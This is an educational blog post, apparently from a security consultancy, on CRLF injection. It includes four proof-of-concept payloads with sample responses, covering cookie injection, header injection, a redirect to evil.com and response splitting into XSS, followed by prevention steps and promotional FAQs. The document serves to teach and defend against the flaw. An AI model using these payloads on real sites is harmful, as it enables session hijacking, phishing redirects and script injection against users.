Imagine a mischievous gremlin lurking in the code of a website, waiting to twist your online experience. That’s essentially what a CRLF (Carriage Return Line Feed) injection vulnerability is. It might sound obscure, but this under-the-radar threat can wreak havoc on websites and steal sensitive data. In this blog we will dive deep into the world of CRLF injection, exploring its dangers, how it’s exploited, and most importantly, how to defend yourself and your systems against
What is CRLF Injection?
CRLF injection is a type of web application vulnerability that occurs when an attacker is able to insert carriage return (\r) and line feed (\n) characters into input fields or HTTP headers. These characters are used to denote the end of a line in various protocols, including HTTP, SMTP, and FTP. When these characters are injected into vulnerable areas of an application, they can be exploited to perform a range of malicious activities. CRLF Injection vulnerability happens due to direct passing of user entered data to the response header fields like (Location, Set-Cookie and etc) without proper sanitation, which can result in various forms of security exploits. Security exploits range from XSS, Cache-Poisoning, Cache-based defacement, page injection and etc.
POC OF CRLF Attacks
1) Scenario 1: Client-Side Cookie Injection
In this scenario, we can set a fake cookie value in to the application, which often leads to client-side cookie injection vulnerability.
- Injected payload: %0D%0ASet-Cookie: %20mycookie%20=%20myvalue Requested page: http://www.example.net/%0D%0ASet-Cookie:%20mycookie%20=%20myvalue HTTP
- Response: Connection: keep-alive Content-Length: 178 Content-Type: text/html Date: Mon, 09 May 2016 14:47:29 GMT
Location: https://www.example.net/
Set-Cookie: mycookie = myvalue
X-Frame-Options: SAMEORIGIN
X-Sucuri-ID: 15016
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
Example Screenshot:
2) Scenario 2: HTTP Header Injection
In this scenario, we can set a fake header value in to the application, which often leads to client-side cookie injection vulnerability.
- Injected payload: %0d%0amyheader:myvalue
- Requested page:
- http://www.example.net/%0d%0amyheader:myvalue
- HTTP Response:
- Connection: keep-alive
- Content-Length: 178
- Content-Type: text/html
- Date: Mon, 09 May 2016 14:47:29 GMT
- Location: https://www.example.net/
- myheader:myvalue
- X-Frame-Options: SAMEORIGIN
- X-Sucuri-ID: 15016
- x-content-type-options: nosniff
- x-xss-protection: 1; mode=block
Example Screenshot:
3) Scenario 3: URL Redirection
In this scenario, we can inject newline characters into URL parameters, potentially leading to URL redirection vulnerability.
- Injected payload: %0d%0aLocation:%20http://www.evil.com
- Requested page: http://www.example.net/Location:%20http://www.evil.com
- HTTP Response:
- Connection: keep-alive
- Content-Length: 178
- Content-Type: text/html
- Date: Mon, 09 May 2016 14:47:29 GMT
- Location: http://www.evil.com
- X-Frame-Options: SAMEORIGIN
- X-Sucuri-ID: 15016
- x-content-type-options: nosniff
Example Screenshot:
4) Scenario 4: Cross-Site Scripting (XSS)
In this scenario, we can inject newline characters into URL parameters, potentially leading to Cross-Site Scripting vulnerability.
- Injected payload: %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
- Requested page: http://example.com/Content-Length:35X-XSS-Protection:023<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
- HTTP Response: HTTP/1.1 200 OK
- Date: Tue, 20 Dec 2016 14:34:03 GMT
- Content-Type: text/html; charset=utf-8
- Content-Length: 22907
- Connection: close
- X-Frame-Options: SAMEORIGIN
- Last-Modified: Tue, 20 Dec 2016 11:50:50 GMT
- ETag: “842fe-597b-54415a5c97a80”
- Vary: Accept-Encoding
- X-UA-Compatible: IE=edge
- Server: NetDNA-cache/2.2
- Content-Length:35
- X-XSS-Protection:0
- 23
- <svg onload=alert(document.domain)>
- 0
Tools
1)crlfuzz
2) CRLF-Injection-Scanner
3) crlfsuite
Impacts of CRLF injection
The impacts of CRLF injection varies and the risk depends upon the type of scenarios. CRLF Injection allows an attacker to inject client-side malicious scripts (E.g. Cross site scripting) to disclose information. An attacker can gain sensitive information like CSRF token and allow the attacker to set fake cookies. CRLF Injection enables an attacker to deactivate and bypass certain security restrictions like XSS filters and Same Origin Policy (SOP) in the victim’s browsers, making them susceptible to further malicious attacks as below:
- Malicious Script Injection
- Phishing Attacks
- HTTP Header Injection
- Client web browser cache poisoning
- Client-side session hijacking
Preventing CRLF Injection Attacks
Here are the steps to prevent CRLF Injection Attacks:
- Don’t Trust User Input: Revise your code to ensure that content supplied by the user is never used directly in the HTTP stream.
- Strip Newlines: Remove newline characters before passing content into the HTTP header.
- Encode Data: Encode the data you pass into HTTP headers. This will effectively scramble the CR and LF codes if the attacker attempts to inject them.
- Conduct Regular Pentests: By performing regular penetration testing on your web applications and promptly addressing any vulnerabilities, you can significantly reduce the risk of these attacks.
Conclusion
Application developers should take excessive care and think in the mindset of a hacker. This will help them to create a secure application. In the Application security aspect, the user-supplied input should not be trustable, and it must be validated properly before accepting it into the application. We must possess good development practices coupled with security methodologies to preserve ourselves from worldly threats.
FAQs
1. Why is CRLF injection still a serious issue despite modern frameworks?
Because CRLF sequences (%0D%0A) can bypass sanitizers in headers or logs, even in updated frameworks, leading to split-response attacks or log tampering.
2. How can CRLF injection lead to session or cookie hijacking?
By injecting Set-Cookie: headers into responses, attackers can force browsers to accept malicious cookies, enabling session fixation or hijacking.
3. What makes log poisoning via CRLF injection particularly hard to detect?
Attackers add fake log entries disguised as system events, which disrupts monitoring tools and hides their footsteps often unnoticed unless logs are strictly parsed.
4. How does HTTP response splitting enable XSS and cache poisoning?
A successful split allows attackers to inject headers or HTML body, leading to script execution or serving of malicious content to many users.
5. Why do multi-platform apps pose higher CRLF risk?
Different OSs (Windows uses CRLF, Unix uses LF) mean injection payloads must be tested across environments; one overlooked path can expose serious flaws.
6. What’s the most reliable way to neutralize CRLF in user input?
Strict input filtering with allow-lists rejecting %0D, %0A, \r, \n-combined with output encoding before inclusion in headers or logs prevents exploitation.
7. Can a WAF fully prevent CRLF injection?
No. While WAFs can block obvious CRLF patterns, they lack app context and can be bypassed, so secure coding and header sanitization are essential.
8. How can you test for CRLF injection in APIs or web services?
Inject encoded CRLF sequences (%0D%0A) into header fields or logs and monitor for unexpected header splits, log anomalies, or unauthorized redirects.
9. How should organizations track CRLF vulnerabilities in SDLC?
Include CRLF checks in code reviews and automated testing tools, and revisit after framework upgrades ValueMentor’s secure coding audits flag these early.
10. How does ValueMentor detect and mitigate CRLF injection risks?
ValueMentor’s penetration tests combine manual CRLF payload testing, dynamic analysis, and log monitoring to find split-response flaws and harden headers correctly.
